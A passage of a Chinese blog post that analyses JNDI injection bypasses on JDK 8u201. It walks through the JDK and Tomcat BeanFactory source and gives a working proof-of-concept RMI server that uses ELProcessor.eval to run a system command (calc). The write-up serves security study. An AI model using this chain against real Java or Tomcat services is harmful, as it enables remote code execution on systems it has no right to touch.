JNDI注入-高版本绕过

参考博客:

JNDI注入与动态类加载

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)

分析版本

jdk8u201

分析流程

修复

在ldap绕过中,我们讲了LDAP的修复,下面用jdk8u201具体来看下修复。

修复之前,利用是在LdapCtx.java中的return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);动态加载Reference。

跟进看在codeBase路径中查找类处,

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {Class<?> clas = null;// Try to use current class loadertry {clas = helper.loadClass(factoryName);   //本地查找类} catch (ClassNotFoundException e) {// ignore and continue// e.printStackTrace();}// All other exceptions are passed up.// Not in class path; try to use codebaseString codebase;if (clas == null &&(codebase = ref.getFactoryClassLocation()) != null) {try {clas = helper.loadClass(factoryName, codebase); //根据codeBase查找类} catch (ClassNotFoundException e) {}}return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

跟进clas = helper.loadClass(factoryName, codebase);

public Class<?> loadClass(String className, String codebase)throws ClassNotFoundException, MalformedURLException {if ("true".equalsIgnoreCase(trustURLCodebase)) { //加入判断,trustURLCodebase为true,才加载类。这里默认falseClassLoader parent = getContextClassLoader();ClassLoader cl =URLClassLoader.newInstance(getUrlArray(codebase), parent);return loadClass(className, cl);} else {return null;}
}

本地factory绕过

这里面就不用区分JNDI结合RMI还是LDAP了,通用的。下面拿JNDI+RMI进行分析

分析攻击点

上面讲到了RMI,CORBA,LDAP漏洞被修复了,漏洞出现在客户端拿到Reference后,通过Reference加载codeBase路径下的factory处。、

修复方法就是默认不允许加载远程factory。但是Reference是可以正常获取的。

我们就想能不能找到本地的可以被恶意利用的factory类。

利用链寻找

看下JNDI+RMI中,拿到Reference之后做什么

//NamingManager#getObjectInstance
public static ObjectgetObjectInstance(Object refInfo, Name name, Context nameCtx,Hashtable<?,?> environment)throws Exception
{ObjectFactory factory;// Use builder if installedObjectFactoryBuilder builder = getObjectFactoryBuilder();if (builder != null) {// builder must return non-null factoryfactory = builder.createObjectFactory(refInfo, environment);return factory.getObjectInstance(refInfo, name, nameCtx,environment);}// Use reference if possibleReference ref = null;if (refInfo instanceof Reference) {ref = (Reference) refInfo;} else if (refInfo instanceof Referenceable) {ref = ((Referenceable)(refInfo)).getReference();}Object answer;if (ref != null) {String f = ref.getFactoryClassName();if (f != null) {// if reference identifies a factory, use exclusivelyfactory = getObjectFactoryFromReference(ref, f);                  本地动态加载factoryif (factory != null) {return factory.getObjectInstance(ref, name, nameCtx,         factory调用getObjectInstance方法environment);}// No factory found, so return original refInfo.// Will reach this point if factory class is not in// class path and reference does not contain a URL for itreturn refInfo;} else {// if reference has no factory, check for addresses// containing URLsanswer = processURLAddrs(ref, name, nameCtx, environment);if (answer != null) {return answer;}}}// try using any specified factoriesanswer =createObjectFromFactories(refInfo, name, nameCtx, environment);return (answer != null) ? answer : refInfo;
}

加载了本地factory后,调用其getObjectInstance方法。

我们要找的利用类需要满足

  1. 实现ObjectFactory,因为getObjectFactoryFromReference(ref, f);存在ObjectFactory的强转。
  2. 在调用其getObjectInstance时,可以触发危险方法

最后找到的是tomcat中的BeanFactory

//BeanFactory#getObjectInstance
public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment)throws NamingException {if (obj instanceof ResourceRef) {try {Reference ref = (Reference) obj;String beanClassName = ref.getClassName();Class<?> beanClass = null;ClassLoader tcl =Thread.currentThread().getContextClassLoader();if (tcl != null) {try {beanClass = tcl.loadClass(beanClassName);} catch(ClassNotFoundException e) {}} else {try {beanClass = Class.forName(beanClassName);} catch(ClassNotFoundException e) {e.printStackTrace();}}if (beanClass == null) {throw new NamingException("Class not found: " + beanClassName);}BeanInfo bi = Introspector.getBeanInfo(beanClass);PropertyDescriptor[] pda = bi.getPropertyDescriptors();Object bean = beanClass.getConstructor().newInstance();    //获取构造函数,并实例化/* Look for properties with explicitly configured setter */RefAddr ra = ref.get("forceString");Map<String, Method> forced = new HashMap<>();String value;if (ra != null) {value = (String)ra.getContent();Class<?> paramTypes[] = new Class[1];paramTypes[0] = String.class;String setterName;int index;/* Items are given as comma separated list */for (String param: value.split(",")) {param = param.trim();/* A single item can either be of the form name=method* or just a property name (and we will use a standard* setter) */index = param.indexOf('=');if (index >= 0) {setterName = param.substring(index + 1).trim();param = param.substring(0, index).trim();} else {setterName = "set" +param.substring(0, 1).toUpperCase(Locale.ENGLISH) +param.substring(1);}try {forced.put(param,beanClass.getMethod(setterName, paramTypes));} catch (NoSuchMethodException|SecurityException ex) {throw new NamingException("Forced String setter " + setterName +" not found for property " + param);}}}Enumeration<RefAddr> e = ref.getAll();while (e.hasMoreElements()) {ra = e.nextElement();String propName = ra.getType();if (propName.equals(Constants.FACTORY) ||propName.equals("scope") || propName.equals("auth") ||propName.equals("forceString") ||propName.equals("singleton")) {continue;}value = (String)ra.getContent();Object[] valueArray = new Object[1];/* Shortcut for properties with explicitly configured setter */Method method = forced.get(propName);if (method != null) {valueArray[0] = value;try {method.invoke(bean, valueArray);                //反射调用bean的method方法} 

payload

测试前先把tomcat依赖加上(我开始用的8.5.90,tomcat把这儿就已经修复了)

<dependencies><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-core</artifactId><version>8.5.71</version> <!-- Latest version as of writing --></dependency><dependency><groupId>org.glassfish</groupId><artifactId>javax.el</artifactId><version>3.0.0</version></dependency>
</dependencies>

根据上面分析写出payload

public class JNDIRMIServerBypass {public static void main(String[] args) throws Exception {InitialContext initialContext = new InitialContext();ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);resourceRef.add(new StringRefAddr("forceString", "x=eval"));resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);BeanFactory}

image-20240730154148956

跟下攻击流程

下图是从拿到的Reference中获取factory(BeanFactory),之后调用BeanFactory的getObjectInstance方法。

image-20240730160802718

跟进BeanFactory#getObjectInstance

获取Reference的ClassName(javax.el.ELProcessor),并loadClass,得到ELProcessor类。

image-20240730161347584

调用ELProcessor的无参构造函数。

之后先把eval方法存到forced(hashMap)中,key为输入的x

image-20240730163056671

image-20240730162642405

之后获取propName为x,反射调用eval(通过x去forced中查找)

image-20240730162031667

这个方法需要Tomcat8环境的,现在java一般都是用Spring Boot框架开发,而Spring Boot内置了Tomcat,场景还是很多

其他利用方法

可以参考探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)的博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3280915.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

英文文献翻译方法哪个好?高效率的翻译方法分享

三伏天的酷热也抵挡不住学术人探索知识的脚步&#xff0c;阅读和翻译英文文献几乎已经成为了许多研究者和学者的日常。然而在面对浩如烟海的英文资料时&#xff0c;如何高效准确地进行翻译&#xff0c;成为了亟待解决的问题。 今天我便挖掘到了5款实用的英文文献翻译工具&…

【论文共读】【翻译】【GPT】Improving Language Understanding by Generative Pre-Training

GPT 原论文地址 翻译&#xff1a; Improving Language Understanding by Generative Pre-Training 通过生成式预训练提高语言理解能力 0. 摘要 自然语言理解包括各种不同的任务&#xff0c;例如文本蕴涵、问答、语义相似性评估和文档分类。尽管大量未标记的文本语料库很丰富…

《昇思25天学习打卡营第24天》

接续上一天的学习任务&#xff0c;我们要继续进行下一步的操作 构造网络 当处理完数据后&#xff0c;就可以来进行网络的搭建了。按照DCGAN论文中的描述&#xff0c;所有模型权重均应从mean为0&#xff0c;sigma为0.02的正态分布中随机初始化。 接下来了解一下其他内容 生成…

科普文:万字梳理高性能 Kafka快的8个原因

概叙 科普文&#xff1a;万字详解Kafka基本原理和应用-CSDN博客 科普文&#xff1a;万字梳理31个Kafka问题-CSDN博客 我们都知道 Kafka 是基于磁盘进行存储的&#xff0c;但 Kafka 官方又称其具有高性能、高吞吐、低延时的特点&#xff0c;其吞吐量动辄几十上百万。 在座的…

苹果safari历史记录如何恢复?4大秘籍,重访历史足迹

作为苹果设备上的默认浏览器&#xff0c;Safari为我们提供了便捷、快速的网页浏览体验。但是&#xff0c;如果出现意外删除或其他情况&#xff0c;我们可能会丢失Safari历史记录&#xff0c;这无疑给我们工作和学习带来了诸多不便。本文旨在帮助广大iPhone用户解决这一难题。通…

【音频识别】十大数据集合集,宝藏合集,不容错过!

本文将为您介绍10个经典、热门的数据集&#xff0c;希望对您在选择适合的数据集时有所帮助。 1 RenderMe-360 发布方&#xff1a; 上海人工智能实验室 发布时间&#xff1a; 2023-05-24 简介&#xff1a; RenFace是一个大规模多视角人脸高清视频数据集&#xff0c;包含多样的…

便携移动工作站,端侧 AI 大模型设备折腾笔记:ROG 幻 X 和 4090 扩展坞

为了本地测试和开发更丝滑&#xff0c;最近入手了一套新设备 ROG 幻 X Z13 和 ROG XG Mobile 4090 扩展坞。 基于这套设备&#xff0c;我搭了一套 Windows x WSL2 x CUDA 的开发环境。分享一下折腾记录&#xff0c;或许对有类似需求的你也有帮助。 写在前面 最近因为各种事情…

学习web前端三大件之HTML篇

HTML的全称为超文本标记语言&#xff0c;是一种标记语言。它包括一系列标签&#xff0c;通过这些标签可以将网络上的文档格式统一&#xff0c;使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本&#xff0c;HTML命令可以说明文字&#xff0c;图形…

单链表习题——快慢指针类习题详解!(2)

前言&#xff1a; 正如标题所言&#xff0c;小编今天要讲述快慢指针的相关习题&#xff0c;可能有些读者朋友会有些疑问了&#xff0c;这快慢指针是个什么东西&#xff1f;不要着急&#xff0c;下面紧跟小编的步伐&#xff0c;开启我们今天的快慢指针之旅&#xff01; 目录&…

安全基础学习-CRC理解与计算

由于一些任务要求需要了解CRC校验&#xff0c;于是来学习一下。 新人学习&#xff0c;大佬绕路。 前言 CRC即循环冗余校验码&#xff1a;是数据通信领域中最常用的一种查错校验码&#xff0c;其特征是信息字段和校验字段的长度可以任意选定。循环冗余检查&#xff08;CRC&…

Seata 入门与实战

一、什么是 Seata Seata 是一款开源的分布式事务解决方式&#xff0c;致力于提供高性能和简单易用的分布式事务服务。Seata 为用户提供了 AT、TCC、SAGA 和 XA 事务模式&#xff0c;为用户打造一站式的分布式事务解决方案。 二、Seata 组成 事务协调者&#xff08;Transacti…

Potree点云可视化库在Vue项目中的应用

本文由ScriptEcho平台提供技术支持 项目地址&#xff1a;传送门 Potree点云可视化库在Vue项目中的应用 应用场景介绍 Potree是一个用于大规模点云渲染和交互的开源JavaScript库。它提供了高效的点云可视化和处理功能&#xff0c;广泛应用于地理信息系统&#xff08;GIS&…

整理几个常用的Linux命令(Centos发行版)

如果工作中需要经常整理一些文档&#xff0c;需要汇总一下&#xff0c;现有的服务器资源信息&#xff0c;那么这篇文章适合你&#xff1b; 如果你是一名开发者&#xff0c;需要经常登录服务器&#xff0c;排查应用的出现的一些问题&#xff0c;那么这篇文章适合你&#xff1b;…

《最新出炉》系列初窥篇-Python+Playwright自动化测试-61 - 隐藏元素定位与操作

软件测试微信群&#xff1a;https://bbs.csdn.net/topics/618423372 有兴趣的可以扫码加入 1.简介 对于前端隐藏元素&#xff0c;一直是自动化定位元素的隐形杀手&#xff0c;让人防不胜防。脚本跑到隐藏元素时位置时报各种各样的错误&#xff0c;可是这种隐藏的下拉菜单又没…

【创新实践新纪元】SmartEDA如何引领学校电子设计实践基地的飞跃式发展

在这个日新月异的科技时代&#xff0c;电子设计已成为推动社会进步与创新的重要力量。而教育&#xff0c;作为培养未来科技人才的摇篮&#xff0c;如何更有效地提升学生的实践能力与创新思维&#xff0c;成为了摆在每所学校面前的重大课题。今天&#xff0c;就让我们一同探索Sm…

列表内容过多卡顿?有索引栏如何实现滚动加载?

&#x1f453;写在前面 很多小伙伴可能在开发业务中会遇到这种问题&#xff0c;数据列表过多&#xff0c;造成dom一次性渲染卡顿&#xff0c;本文主要介绍滚动加载&#xff0c;实现在有索引栏的列表中使用滚动加载的方法。 本文技术栈使用的是vue2vant2&#xff0c;其他框架组…

阿里云服务器 Ubuntu18.04 安装 mysql8.0并允许外部连接

参考教程&#xff1a; 官网教程 参考教程一 首先彻底删除mysql5.7 dpkg --list|grep mysql #查看 sudo apt-get remove mysql-common #卸载 sudo apt-get autoremove --purge mysql-server-5.7 #版本自己修改 dpkg -l|grep ^rc|awk {print$2}|sudo xargs dpkg -P #清除残留数…

vite打包文件配置到IIS出现页面、图片加载不出来的问题

问题描述&#xff1a; 用vitevue3开发的项目&#xff0c;打包后放在服务器上&#xff0c;然后配置了IIS&#xff0c;用链接访问后出现白页面。 解决方案&#xff1a; 修改vite.config.js文件中的base路径&#xff1a;/改为./ 解决方案&#xff1a; 1.查看页面报错原因&…

归并排序 python C C++ 代码及解析

一&#xff0c;概念及其介绍 归并排序&#xff08;Merge sort&#xff09;是建立在归并操作上的一种有效、稳定的排序算法&#xff0c;该算法是采用分治法(Divide and Conquer&#xff09;的一个非常典型的应用。将已有序的子序列合并&#xff0c;得到完全有序的序列&#xff…

二叉树——链式结构的实现

首先是分为三个文件进行实现&#xff1a;tree.h、tree.c、test.c tree.h 用链表来表示⼀棵⼆叉树&#xff0c;即用链来指示元素的逻辑关系。通常的方法是链表中每个结点由三个域组成&#xff0c;数据域和左右指针域&#xff0c;左右指针分别用来给出该结点左孩⼦和右孩⼦所在…